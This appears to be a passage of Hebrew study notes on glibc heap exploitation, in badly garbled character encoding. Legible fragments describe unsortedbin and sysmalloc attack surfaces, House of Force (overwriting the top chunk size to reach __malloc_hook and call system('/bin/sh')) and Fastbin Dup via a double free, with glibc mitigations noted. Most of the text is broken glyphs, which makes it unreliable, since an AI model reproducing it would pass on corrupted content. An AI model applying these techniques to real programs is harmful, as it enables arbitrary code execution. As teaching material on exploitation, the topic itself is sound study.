˭˪ˢ˪ ˫˧˷˶˸ ˢˬ˧˶ˤ ˶˞˸ˬˢ ˸˞ ˧˪ˣ˪˯ˬ ˡˣ˵ˢ ˸˵˧˶˯˷ s-Unsortedbin ˪ˣ˩˧ ˸˥˵˪ .˫˧˵ˣ˪˟ ˰˟˴˟ ˟ˣˢ˴˟ 

˫˧˧˦ˮˣˣ˪˶ ˵˶ ˸ˣ˞˯˶ˠ˪ ˪˷ glibc ˸ˣ˶ˡˣˢˬˢ ˫˰ ˢ˩˧ˬ˸ ˟-tcache ,˫˧˵ˣ˪˟ ˫˧˵ˣ˶˧ ˫˧ˮ˧˧˴ˬ ˢ˞˴˵ˢ 

˸˥˪˴ˣˬ ˢ˶ˤ˥ˣ ˬ-malloc() .˫˞ ˸˴˧˶ ˸˧ˮ˩ˣ˸ˢ ˢ˰˧ˠˬ ˵ˣ˪˟˪ ˫ˣˡ˞ - malloc() ˨˧˷ˬˬ ˢˬ-unsortedbin 

scan ˶˞ˣ˸ˬ˩ ˫˧˷˶˸˟ ˪˷ malloc(). ˵ˮ 'ˢ˯˧ˮ˩ˢ ˞˧ˢ ˵ˣ˪˟ˢ ˭ˣ˧˪˰ˢ ˧˪˞ˬ˷ˢ. 

ˣˬ˧˷ ˟˪ ˢ˷-unsortedbin ˪˲˦ˬ ˟-tcache dumping ˢ˶ˣ˴˟ ˢˮˣ˷ ˸ˬˣ˰˪ s-fastbins sx-smallbins .

Chunks ˫˰ ˢˬ˞˸ˢ ˸˵˧˧ˣˡˬ ˫˪ˡˣˠ˟ ˫˧ˮ˯˥ˣ˞ˬ ˸˧ˡ˧˧ˬ ˟-tcache .˞˪˞ ˫˞ tcachebin ˡ˰˧ˢ ˞˪ˬ x˞ 

ˢ˷-victim chunk ˞˴ˬˮ ˳ˣ˥ˬ ˥ˣˣ˦˪ ˧˪ˡˠ s-tcache ,ˢ˴˵ˣ˧ chunk ˬ-tcachebin ˡ˰˧ˢ ˸˰˟ ˢ˷-

unsortedbin ˵˧˶. 

 

ϐ˶ˣ˧˞ мпΥ ˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ ˢ˞˴˵ˢ ˭ˬ sπUnsortedbin Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ Sysmalloc: 

˭˪ˢ˪ ˫˧˷˶˸ ˢˬ˧˶ˤ ˦˷ˣ˲ˬ ˪˷ ˫˸˧˶ˣˠ˪˞ˢ ˶˞˸ˬˢ ˸˞ ˧˪ˣ˪˯ˬ ˡˣ˵ˢ ˷-sysmalloc() ˪ˣ˩˧ ˸˥˵˪ .˫˧˵ˣ˪˟ 

˫˧˵ˣ˶˧ ˫˧ˮ˧˧˴ˬ ˢ˞˴˵ˢ ˸˥˪˴ˣˬ ˢ˶ˤ˥ˣ ˬ-sysmalloc() .ˢˡ˧ˬ˟ ˸˴˧˶ˣ ˸˧ˮ˩ˣ˸ˢ ˢ˰˧ˠˬ ˵ˣ˪˟˪ ˫ˣˡ˞ ,˶˲˯ˬ 

ˢ˞˧ˠ˷ˢ ENOMEM ˶ˬ˷ˮ ˨ˣ˸˪ ˢˮ˸˷ˬˢ ˧˪˟ˣ˪ˠˢ errno x-sysmalloc() ˢ˶˧ˤ˥ˬ л .˵ˮ 'ˢ˯˧ˮ˩ˢ ˞˧ˢ 

˵ˣ˪˟ˢ ˭ˣ˧˪˰ˢ ˧˪˞ˬ˷ˢ . 

 

ϐ˶ˣ˧˞ мрΥ ˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ Sysmalloc() Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ Free 

˭˪ˢ˪ ˫˧˷˶˸ ˢˬ˧˶ˤ ˦˷ˣ˲ˬ ˪˷ ˫˸˧˶ˣˠ˪˞ˢ ˶˞˸ˬˢ ˸˞ ˧˪ˣ˪˯ˬ ˡˣ˵ˢ ˷-free() ˪ˣ˩˧ ˸˥˵˪ .˫˧˵ˣ˪˟ 

˫˧˵ˣ˶˧ ˫˧ˮ˧˧˴ˬ "˪ˣ˪˯ˬ ˢ˶ˤ˥) "˫˧˧˸˯ˬ ˟-return .(˫˧˵ˣ˪˟ ˰˟˴˟ ˟ˣˢ˴˟ ˫˧˧˦ˮˣˣ˪˶ ˵˶ ˸ˣ˞˯˶ˠ˪ ˪˷ 

glibc ˸ˣ˶ˡˣˢˬˢ ˫˰ ˢ˩˧ˬ˸ ˟-tcache. 

 

ϐ˶ˣ˧˞ мсΥ ˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ free() Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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˸ˣ˵˧ˮ˩˦ ˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥/ˢ˷ˬ˷ˢ ˸ˣˬ˯˶ˣ˲ˬ: 

˵˪˥ ˢˤ ˢˣˣˢˬ ˢ˟˥˶ˢ ˯˶ˣ˵˪ ˢ˶˷˩ˢˢ HeapLAB ˪ˣˠ˶˸ˢˣ ˧˷˰ˬˢ ˸˟˧˟˯˟ Ubuntu Linux .˞ˣˢ ˣˮˮ˧˞ 

ˡ˰ˣ˧ˬ ˸ˣ˧ˢ˪ ˶˟˯ˢ ˢ˴ˬˬ ˪˰ ˪˩ ˸˵˧ˮ˩˦ heap exploitation )ˢ˷˰ˬ˪ ,˪˩ ˟˪˷ ˢ˵˧ˮ˩˦˟ ˣˮ˧ˢ ˧˦˧˶˵ 

ˢ˸˥˪˴ˢ˪ ˭˰˷ˮˣ ˪˰ ˢˮ˟ˢ ˪˷ ˷ˣˬ˧ˬˢ ˨ˣ˸˟ glibc( 

House of Force 

ˢ˶˧˵˯ ˸˧˪˪˩ 

ˢ˯˧˶ˡ ˪˷ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-top chunk ˫˰ ˨˶˰ ˪ˣˡˠ ˡˣ˞ˬ ,˶˥˞˪ ˭˩ˬ ˢ˷˵˟ ˪˷ ˵˧˲˯ˬ ˭ˣ˶˩˧ˤ ˧ˡ˩ 

˶˷ˠ˪ ˪˰ ˶˰˲ˢ )˵˥˶ˬ ˭ˣ˶˩˧ˤ˟ (˭˧˟ s-top chunk sx-target data )˸˟ˣ˸˩ˢ ˢ˧˪˞ ˣˮ˞ ˫˧ˮ˧˧ˮˣ˰ˬ ˟ˣ˸˩˪ .(

˸ˣ˞˴˵ˢ ˸ˣ˷˰ˮ˷ ˢ˶ˣ˴˟ xʕ ˸ˣ˪ˣ˩˧ ˱˧˵ˢ˪ ˟˧˟˯ˬ ˸˞ ˟˥˶ˬ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ) !to wrap around ,(˨˩˟ˣ 

˶˷˲˞˪ ˢ˵˧ˮ˩˦˪ xʕ ˦ˠ˶˦˪ ˭ˣ˶˩˧ˤ ˸˟ˣ˸˩˟ ˢ˩ˣˬˮ ˶˸ˣ˧ ˣˤˬ ˪˷ s-heap. 

˫˧˦˶˲  

˸ˣ˞˯˶ˠ˟ glibc ˧ˮ˲˪ н.29 ,ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-top chunk ˞˪ ˭ˣ˸ˮ ˫ˣ˷˪ ˸ˣ˵˧ˡ˟ ˸ˣˮ˧˵˸ )integrity (

˨˪ˢˬ˟ ˸ˣ˞˴˵ˢ .!˫˞ ˪ˡˣˠ s-top chunk ˯˶ˡˮ ˰"˧ overflow ˪˷ˬ˪ ˱˪˥ˣˬˣ ˨˶˰˟ ˪ˣˡˠ ˡˣ˞ˬ ,˸ˣ˞˴˵ˢ 

˸ˣ˟˵ˣ˰ ˨ˣ˸ˬ s-top chunk )˞˪ ˰"˧ mmap() (˸ˣ˪ˣ˩˧ ˱˧˵ˢ˪ ˸˞ ˭ˣ˶˩˧ˤˢ ˷ˣˬ˧˷˟˷ )˰˧ˠˢ˪ ˡ˰ ˱ˣ˯ ˟˥˶ˬ 

˸ˣ˟ˣ˸˩ˢ ˧˪˞ˣ˦˶˧ˣˢ ˤ˞ˣ ˨˧˷ˬˢ˪ ˣ˸˪˧˥˸ˬ .( 

˸ˣ˞˴˵ˢ ˸ˣ˪ˣˡˠ ˡˣ˞ˬ ˬ-top chunk ˸˥˷ˣˢ˷ ˸ˣ˪ˣ˩˧ ˫ˣ˶ˠ˪ ˢ˲˵ˢ˪ ˣˤ˩˷ ˸ˣ˞˯˶ˠ˟ glibc < 2.30 .ϐ˫˴˰˟ 

ˣˮ˥˪˴ˢ ˠ˧˷ˢ˪ write primitive ˪˩˪ ˸˟ˣ˸˩ ˢ˴˶ˮ˷ )arbitrary (˪˩ ˡˣ˰ ˵˥˶ˬˢ ˢ˧˪˞ ˸˰˟ ˸˲˵ˢ ˟˥˶ˬ 

˸ˣ˟ˣ˸˩ˢ ˞˪ ˪ˣˡˠ ˧ˡˬ ˯˥˧˟ ˨˶˰˪ s-size field ˪˷ s-top chunkώ 

ˢˬˠˣˡ˪ ,top chunk ˪˧˥˸ˬ˷ ˸˟ˣ˸˩˟ 0x405000 ˡ˰˧ˣ ˢ˟˧˸˩˪ ˞˴ˬˮ˷ ˸˟ˣ˸˩˟ 0x404000 ˨ˣ˸˟ ˶ˣˤ˞ 

-s.data ˪˷ ˸˧ˮ˩ˣ˸ˢ ˧ˮ˞˷ ˫˧˟˧˧˥ ˟ˣ˸˩˪ ˣ˧˪˞ .˯ˣ˶ˡˮ ˸˞ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-top chunk ˸˶ˤ˰˟ ˠ˞˟ ,

˱˧˪˥ˮ ˸˞ ˣ˩˶˰ ˪0xfffffffffffffff 1- ,˶˥˞˪ ˭˩ˬ ˟˷˥ˮ ˸˞ ˸ˣˬ˩ ˫˧˸˟ˢ ˫˧˷ˣ˶ˡˢ ˧ˡ˩ ˤ˧ˤˢ˪ )ˢˬ˧ˡ˵ (˸˞ 

-stop chunk ˸˟ˣ˸˩˪ ˸˞˴ˬˮ˷ ˵ˣ˧ˡ˟ ˧ˮ˲˪ ˢ˶˦ˬˢ .˭˩˪ ˢ˯˟"˩ 0xffffffffffffffff - 0x405000 ˫˧˸˟ ˧ˡ˩ 

˰˧ˠˢ˪ ˱ˣ˯˪ ˟˥˶ˬ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ )VA ,(˸˲˯ˣ˸˟ ˪˷0x404000  ˫˧˸˟ ˱ˣ˯˟˪ˣ ˢ˶˯˥ˢ ˪˷  0x20 

˫˧˸˟ ˧ˡ˩ ˶ˣ˴˰˪ ˵ˣ˧ˡ˟ мс ˫˧˸˟ ˧ˮ˲˪ ˸˟ˣ˸˩ ˢ˶˦ˬˢ.  

ˢˬ˪ ˫˧˶˧˯˥ˬ 0x20 ?˨˶ˡ ˸˥˞ ˪˩˸˯ˢ˪ ˪˰ ˢˤ ˞˧ˢ ˫ˡˣ˵˷ ˪˩ ˨˧˶˴ ˶ˣˤ˥˪ ˢ˶ˣ˥˞ 0x10 ˫˧˸˟ ˧ˡ˩ 

˰˧ˠˢ˪ ˸˪˧˥˸˪ s-chunk ˪˧˩ˬ˷ ˸˞ s-ǘŀǊƎŜǘΩǎ data ,˧˩ ˫˷˪ ˣˮ˞ ˫˧˴ˣ˶ ˤˣˤ˧˷ s-top chunk ,˧ˡ˩ 

ˢ˞˴˵ˢ˟˷ ˢ˞˟ˢ ˶˥˞˪ ˭˩ˬ ˪˩ˣˮ ˟ˣ˸˩˪ ˡ˰˧˪ . 

ˢ˟˧˯ˢ ˣˮ˞˷ ˫˧ˮ˧˧ˮˣ˰ˬ ˧˸˷˟ ˸ˣ˞˴˵ˢ ˞˧ˢ ˸˟˧˸˩˷ ˫˧ˮˣ˸ˮ ˨˶ˣ˞˪ ˪ˣ˪˯ˬ ˢ˲˵ˢˢ ˦˰ˬ˩ ˥ˣ˦˟ ˢ˯ˮ˸ 

˟ˣ˸˩˪ ˫˧˶ˣˤ˞˪ ˞˪˪ ˸ˣ˞˷˶ˢ ˢ˟˧˸˩ ˪˟˵ˮˣ segfault ,˸˧ˮ˷ - ˨˧˶˴ ˸˧˥˲ˢ˪ ˡˣ˰ 0x8 ˫˧˸˟ ˢ˞˴ˣ˸ˢˬ 
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ˢˮˣ˷˞˶ˢ ˢ˧ˮ˷ˢˣ ˪˷ ˟ˣ˷˧˥ˢ ˪˪ˠ˟ s-size field ˱˯ˣˣ˸ˬ˷) .˪˪˩ ˰˟˴˞ :˫˞ ˫˧˴ˣ˶ chunk ˪ˡˣˠ˟ ˫˧˧ˣ˯ˬ ,

˷˵˟ˮ у ˫˧˸˟ ˸ˣ˥˲ ˪ˡˣˠˬ ˢˤ .˭˟ˣˬ˩ ˷˧˷ ˡˣ˰ ˫˧˩˶˰ ˫˧ˮ˦˵ ˶˸ˣ˧ ˣˬ˶ˠ˧˷ ˢ˞˴˵ˢ˪ ˪˷ ˢ˸ˣ˞ ˸ˣˬ˩ 

˫˧˸˟ .( 

˷˧ ˢˬ˩ ˫˧˩˶ˡ ˸ˣ˧˶˷˲˞ ˪˩˸˯ˢ˪ ˪˰ ˧˟ˣ˷˧˥ ˪ˡˣˠ ˢ˷˵˟ ˧ˣ˴˶ˣ ˶˧˧˴˪ ˢˬˠˣˡ ˢˮ˦˵ ˪˷ ˪˷ˬ˪ о chunk-˫˧ 

ˢ˷˥ˬˢ˪ ˫˞ˣ ˞˪ ˫˧˥˧˪˴ˬ- ˪ˣ˰˲˪ ˸˦˧˷˟ ˧ˣ˯˧ˮ ˢ˧˧˰˦ˣ .˸ˬ˞ˢ ˞˧ˢ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˪˩˟ ˨˶˰ ˭˧˟ 0x17 

-˪0x26 ˧ˡ˩ ˢˤ˷ ˡˣ˟˰˧ - malloc ˪ˠ˰ˬ ˧˲˪˩ ˢ˪˰ˬ ˸˞ ˪ˡˣˠ ˢ˷˵˟ˢ ˪ˡˣˠ˪ ˵ˣ˪˟ˢ ˟ˣ˶˵ˢ ˶˸ˣ˧˟ .˸˟˧˟˯˟ 

production ")˪˰ ˸ˬ˞ ("˭˩˸˧˧ ˞˪ˣ ˥˧˪˴ˮ ˷˵˟˪ ˸˞ ˸ˣˬ˩ˢ ˸˵˧˧ˣˡˬˢ ˪˷ ˫˧˸˟ ˣ˶˷˧˧˸˧˷ ˢ˶ˣ˴˟ 

˸ˬ˪˷ˣˬ ˧˩ s-target data ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˞˪ ˶˷ˣ˧ˬ ˪-мс ˫˧˸˟ x˞ ˸˪ˣ˩˧˷ ˢ˟˧˸˩ˢ ˣˮ˪˷ ˫ˠ ˞˪ ˢ˧ˢ˸ 

˸˶˷ˣ˧ˬ .˪˰ ˭˩ ˶˷˲˞ ˸ˣ˯ˮ˪ ˟˶˵˪ ˸˞ s-top chunk ˢˬ˩ ˶˸ˣ˧˷ ˡ˰˧˪ ˣˮ˪˷ ˫˷ˬˣ ˰˴˟˪ ˸ˣ˞˴˵ˢ 

˸ˣ˲˯ˣˮ. 

˶˥˞˪ ˢ˷˵˟˷ xʕ ˢ˪˲ˣ˦ ˨ˣ˸ˬ s-top chunk ,-schunk ˞˟ˢ ˢ˴˵ˮ˷ ˷ˠˣ˧ ˫ˠ ˞ˣˢ ˣˮˬˬ ˱ˣ˲˥˧ˣ ˵ˣ˧ˡ˟ ˸˞ 

˸ˡˣ˵ˮ ˡ˰˧ˢ ˣˮ˧˴˶˷ ˟ˣ˸˩˪ ˢ˧˪˞. 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

ˢ˶˵ˬ˟ x˟ ˡ˰˧ˢ ˞˴ˬˮ ˣ˸ˣ˞˟ s-heap ˣ˟˷ ˞˴ˬˮ s-top chunk ,ˢˠ˪ˤˢ )leaking (˪˷ ˸˟ˣ˸˩ ˢˬ-heap 

˞˪ ˢ˴ˣ˥ˮ )˳ˣ˪˧˞ ˡ˥˞ ˸ˣ˥˲ ˶ˣ˟˰ ˱˵ˣ˸ ,(ˢ˞˴˵ˢˢ ˢ˪ˣ˩˧ ˱˧˵ˢ˪ ˟˧˟˯ˬ ˸˞ ˟˥˶ˬ ˸ˣ˟ˣ˸˩ˢ ˧˪˞ˣ˦˶˧ˣˢ 

ˢ˶ˤ˥˟ ˪˞ ˣ˸ˣ˞ s-heap ˸˟ˣ˸˩˪ ˸˧˯˥˧ ˪-top chunk )˫˞ ˫˧˶˧˧˴ˬ ˸˞ ˢˤ ,˪˵ ˫˧˷˪ ˟˪ ˨˶˰ˢ˷ ˷˧˷ 

˷˵˟˪ ˧ˣ˪˸ ˵˶ ˷˶˲ˢ˟ ˭˧˟ ˸˟ˣ˸˩ s-chunk ˧˥˩ˣˮˢ ˸˟ˣ˸˩˪ ˡ˰˧ˢ !˟ˣ˷˧˥ˢ ˢ˧ˢ˧ ˢ˶ˣ˴ˢˬ:0xffffffff - 

delta(x,target)) - 0x20 (˸˩˶˰ˬ˟ ˫˰ ˟˥˶ˬ ˸ˣ˟ˣ˸˩ ˪˷ сп ˦˧˟ .˧˶ˢˣ ˵˥˶ˬˢ˷ delta(x,target) ˞˪ 

˰˲˷ˣˬ ˬ-ASLR ,˫ˢ˧ˮ˷ ˫˧ˤˤ ˢ˸ˣ˞˟ ˢˡ˧ˬ ˡ˥˧˟ ˫˰ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ s-heap .˨˩ ˷˶˲ˢ˟˷ ˫ˢ˧ˮ˧˟ 

˸ˣˤˤˢˢ ˣˤˤ˵˸˧( 

-smalloc hook ˞ˣˢ ˢ˶˦ˬ ˸˧˷˰ˬ ˶ˣ˟˰ ˢ˵˧ˮ˩˦ xʕ ˫ˣ˷ˬ ˸˪ˣ˩˧ˢ˷ ˶˧˟˰ˢ˪ ˪ˡˣˠ ˢ˷˵˟ ˪ˣˡˠ ˣˮˮˣ˴˶˩ 

)˧˸ˣ˶˧˶˷ (-˪malloc() ˞˧ˢ ˧˞ˮ˸ ˫˧ˡ˵ˬ ˢ˲˵˸ˬ˪ ˠˣ˯ˬ House of force .ˢ˯˧˶ˡ ˪˷ s-malloc hook ˫˰ 

˸˟ˣ˸˩ˢ ˪˷ system() )hijacking (˶˥˞˪ˣ ˭˩ˬ ˸˶˟˰ˢ ˸˟ˣ˸˩ˢ ˪˷ ˸ˤˣ˶˥ˬˢ άκōƛƴκǎƘέ ˪˞ malloc 

˦ˮˬˣˠ˶˞˩ ˷˲˥˸ˬˢ ˪ˡˣˠ˪ ˢ˷˵˟ - ˢ˪ˣ˵˷ ˸˴˶ˢ˪ ǎȅǎǘŜƳόάκōƛƴκǎƘέύ ϐˢ˪˞˷ :˫˞ˢ ˫˧˟˧˧˥ ˟ˣ˸˩˪ 

ˣˮˬ˴˰˟ ˸˟ˣ˸˩˪ ˧ˢ˷˪˩ ˭ˣ˶˩˧ˤ˟ ˸˞ ˸ˤˣ˶˥ˬˢ άκōƛƴκǎƘέ ˥ˣ˪˷˪ˣ ˸˟ˣ˸˩ xʕ ?ˢ˟ˣ˷˸ :˞˪ ,˸ˤˣ˶˥ˬ xʕ 

ˡ˧ˬ˸ ˸˞˴ˬˮ ˨ˣ˸˟ s-ƎƭƛōŎΩǎ ǎƘŀǊŜŘ ƻōƧŜŎǘ ˭˰˦ˮˢ ˟˥˶ˬ˪ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˨˪ˢˬ˟ 

ˢ˴˧˶ˢ .ˢ˟˧˯ˢ ˨˩˪ ˞˧ˢ ˸ˣ˧˴˵ˮˣ˲˷ )˸ˣ˞˟ˣ˧ˬ (ˣˬ˩ system() ˞˪˧ˬ˟ ˸ˣ˷ˣ˰ ˢ˪ˣ˰˲ ˢ˪ˣ˵˷ ˪- 

ǎȅǎǘŜƳόάκōƛƴκǎƘέύ ˸˶ˤ˰˟ ˸˞˧˶˵ ˸˩˶˰ˬˢ execve() ˷ˬ˸˷ˬˢ ˸˴˶ˢ˪ ˢˡˣ˵˲ˢ ˷-system() ˢ˪˟˧˵ώ 
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˸ˣ˪˟ˠˬ 

ˢ˯˶ˠ˟ н.нф ˪˷ glibc ˢˠ˴ˣˢ ˢˮˣ˷˞˶˪ ˸˵˧ˡ˟ ˸ˣ˧˲˷ ˪˰ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-top chunk ˸˞ˡˣˣˬˢ ˢ˷-

top chunk ˞˪ ˶˸ˣ˧ ˨˶˰ˬ ˢˮ˸˷ˬˢ system_mem ˪˷ s-Arena ˣ˪˷ .˨˶˰ ˢˮ˸˷ˬ ˢˤ ˠ˴˧˧ˬ ˸˞ ˸ˣˬ˩ 

˭ˣ˶˩˧ˤˢ ˢ˷-arena ˪˟˧˵ )checked out (˪ˮ˶˵ˢˬ x"˟˧˧˥ x˪ ˢ˶ˤ˥˟ ."˞ˣˢ ˭˦˵ ˰ˠ˶˟ ˢ˷-Arena "˶˧ˤ˥ˬ 

˸ˣ˟ˣ˥ "˸˰˟ ˶ˣ˶˥˷ ˭ˣ˶˩ˤ ˬ-heaps ˫˧˩˧˧˷ˢ ˣ˸ˣ˞˪ arena( 

ˢ˯˶ˠ˟ н.нф ˪˷ glibc ˢˠ˴ˣˢ ˢˮˣ˷˞˶˪ ˢ˵˧ˡ˟ ˪˰ ˪ˡˣˠ ˢ˞˴˵ˢˢ ˧˪ˬ˧˯˵ˬˢ ,˶˷˞ ˪˧˟ˠˬ ˸˞ ˪ˡˣˠ ˶˰˲ˢ 

˭˸˧ˮˢ ˶ˣ˷˧ˠ˪ ˪˰ ˧ˡ˧ ˸˲˵˸ˬ˷ s-House of force. 

Fastbin Dup 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˷ˣˬ˧˷ ˠ˞˟˟ ˠˣ˯ˬ ˶ˣ˶˥˷-˪ˣ˲˩ ˧ˡ˩ ˸ˣ˲˩˪ ˪˰ malloc ˶˧ˤ˥ˢ˪ ˷ˬ˸˷ˬ˪ ˸˞ ˣ˸ˣ˞ s-chunk ˫˧˧ˬ˰˲,˧˪˟ 

˶˶˥˷˪ ˣ˸ˣ˞ ˭˧˟ ˭˧˟˪ .ˢ˵˧ˮ˩˦ xʕ ˸˰˴ˣ˟ˬ ˨˶ˡ˟ ˪˪˩ ˰"˧ ˸˸˥˷ˢ ˞˦ˬ-ˢ˦˞ˡ ˰ˠˣˮ˷ ˪-fastbin ˧ˡ˩ ˶˷˵˪ 

chunk ˱˧˧ˣˤˬ ˪˞ s-fastbin .chunk ˱˧˧ˣˤˬ ˢˤ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ ˶˥˞˪ˣ ˭˩ˬ ,˫˞˸ˢ˟ ˸˧ˮ˩ˣ˸˪ ,˷ˬ˷˧ 

ˢ˞˧˶˵˪ ˬ /ˢ˟˧˸˩ ˪˞ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤ ˸˧˸ˣ˶˧˶˷. 

˫˧˦˶˲ 

ˢ˵˧ˡ˟ˢ ˞˪˷ ˰˴ˣ˟ˬ ˶ˣ˶˥˷ ˪ˣ˲˩ ˪-fastbin ˵˶ ˸˞ˡˣˣˬ ˢ˷-chunk ˫˧˯ˮˬ˷ ˶˶˥˷˪ ˪˞ ˨ˣ˸ s-fastbit 

ˢˮˣ˷ ˢˬ-chunk ˭ˣ˷˞˶ˢ )˷˞˶˟ ˢˬ˧˷˶ˢ ,˭˸˧ˮ ˢ˵˧ˡ˟˪ ˰"˧ ˸˞ˣˣ˷ˢ ˢˡ˷ s-key (˪˷ ˣ˸ˣ˞ bin ,˫˞ 

chunk ˶˥˞ ˣ˸ˣ˞ˬ ˪ˡˣˠ ˶˶˥ˣ˷ˬ ˭˧˟ ˶ˣ˶˥˷ˢ ˪ˣ˲˩ˢ,ˤ˞ ˶ˣ˟˰ˮ ˸˞ ˢ˵˧ˡ˟ˢ. 

ˢˬˠˣˡ˪ ,˷˵˟ˮ chunks ˫˷˟ A x-B ,˫ˢ˧ˮ˷ ˣ˧ˢ˧ ˣ˸ˣ˞ˬ ˪ˡˣˠ ˫˧˞˸ˬˢ ˪-fastbin ˶˷˞˩ ˣ˶˶˥ˣ˷˧ ,˶˥˞ ˨˩ 

˶˶˥˷ˮ ˸˞ chunk A .˫˞ chunk A ˶˶˥ˣ˷˧ ˟ˣ˷ ˸˧ˡ˧˧ˬ - ˢ˵˧ˡ˟ˢ ˪˷˩˧˸ ˧˩ ˞ˣˢ ˶˟˩ ˞˴ˬˮ ˷˞˶˟ 

˸ˬ˧˷˶ ˡ˰˧ˢ .˫ˣ˵ˬ˟ ˸˞ˤ ,˶˶˥˷ˮ ˸˞ chunk B ˤ˞ˣ ˶˶˥˷ˮ ˸˞ chunk A ˟ˣ˷ .˨˶ˡ˟ xʕ chunk B ˢ˧ˢ˧ 

˷˞˶˟ ˢˬ˧˷˶ˢ ˣ˟˷ A ˶˶˥ˣ˷ˬ ˫˰˲˟ ˢ˧ˮ˷ˢ .˸˰˩ ,˷˵˟ˮ о chunk-˫˧ ˣ˸ˣ˞ˬ ˪ˡˣˠˢ ˪˷ A x-B ,malloc 

˶˧ˤ˥˧ ˸˞ s-chunks ˶ˡ˯˟ A B A. 

˶˟ˡ ˢˤ ˧ˣ˷˰ ˟˧ˮˢ˪ ˸ˣˮˬˡˤˢ ˞ˣ˶˵˪ x˞ ˟ˣ˸˩˪ ˪˞ chunk ˢ˴˵ˣˢ˷ ˢ˶˦ˬ˪ ˸˶˥˞ .˭˧˲ˣ˪˧˥˪ ,˭˸˧ˮ 

˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˪˟˥˪ ˟-fastbin metadata ,˦˶˲˟ ˰˧˟˴ˬ˟ ˧ˬˡ˵ˢ )fd (˪˷ s-chunk ˶˶˥ˣ˷ˬˢ 

˫˧˧ˬ˰˲ .ˢˤ ˧ˣ˷˰ ˶˷˲˞˪ ˪-chunk ˱˧˧ˣˤˬ ˸ˣ˧ˢ˪ ˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-fastbin ˶˥˞˪ˣ ˭˩ˬ ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ .

˶˥˞˪ ˢ˞˴˵ˢˢ ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˞ˣˢ ˪˩ˣ˧ ˷ˬ˷˪ ˢ˞˧˶˵˪ x˞ ˢ˟˧˸˩ ˸˟ˣ˸˩ˬ ˭ˣ˶˩˧ˤ ˸˧˸ˣ˶˧˶˷ .

Chunks ˫˧˲˧˧ˣˤˬ ˫˧˴˵ˣˬ˷ ˢ˶ˣ˴˟ xʕ ˫˧˟˧˧˥ ˶ˣ˟˰˪ ˸˞ ˢ˵˧ˡ˟ˢ ˪˰ ˢˡ˷ ˪ˡˣˠˢ ˸˞ˡˣˣˬˢ ˨˶˰˷ ˢˡ˷ˢ 

˫ˢ˪˷ ˫˞ˣ˸ ˪ˡˣˠ˪ ˪˷ ˣ˸ˣ˞ fastbin ˣˮˬˬ˷ ˫ˢ ˫˧˴˵ˣˬ. 
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˷˧ ˰ˮˬ˧ˢ˪ ˧ˮ˲ˬ ˸ˣ˧˴ˮ˧˟ˬˣ˵ ˪˷ ˫˧˪ˠˡ ˞˪ ˫˧ˬ˞ˣ˸ ˢˡ˷˟ ˪ˡˣˠˢ ˱˧˧ˣˤˬˢ ,˪ˠˡ NON_MAIN_ARENA 

˵ˣ˪ˡ ˫˰ CHUNK_IS_MMAPED ˯˲ˣ˞ˬ ˫˧˪ˣ˩˧ ˫ˣ˶ˠ˪ ˪-segmentation fault ˷˩-malloc ˢ˯ˮ˸ ˶˸˞˪ ˸˞ 

-sarena ˞˪˷ ˫˧˧˵) .˨˶˰ ˪˷ 0xF ˫˧˪ˠˡ˪ ˞˪ ˫ˣ˶ˠ˧ ˢ˞˧ˠ˷˪( 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

-sMalloc hook ˞ˣˢ ˢ˶˦ˬ ˢ˟ˣ˦ ˶ˣ˟˰ ˢ˵˧ˮ˩˦ xʕ .˨˞ ˫˞ ˯ˣ˶ˡˮ ˸˞ ˨˶˰ s-fd ˫˰ __malloc_hook-16 ,

ˢ˪ˠˮ ˪˷˩˧ˮ˷ ˸˵˧ˡ˟˟ s-size field ˮˢ"˪ .ˣˮ˪ˤˬ˪ - ˸˷ˣ˪˷ ˫˧˸˟ˢ ˫˧ˮˣ˧˪˰ˢ )MSB( ˪˷ ˰˧˟˴ˬ s-vtable 

˪˷ _IO_wide_data_0 )ˡ˧ˬ˸˷ ˢ˧ˢ˧ ˥˩ˣˮ ˭ˣ˶˩˧ˤ˟ ,ор ˫˧˸˟ ˧ˮ˲˪ s-malloc hook (˫˧˪ˣ˩˧ ˷ˬ˷˪ ,ˡ˥˧ 

˫˰ ˵˪˥ ˬ-quadword ˡˣ˲˧˶ˢ )˪˧˩ˬ ˫˧˯˲˞ ,ˡ˧ˬ˸ (˟˵ˣ˰ˢ ˧ˡ˩ ˟˴˰˪ ˢˡ˷ ˪ˡˣˠ ˪˷ 0x7f )˫˴˰˟ ˰˴˟ˮ 

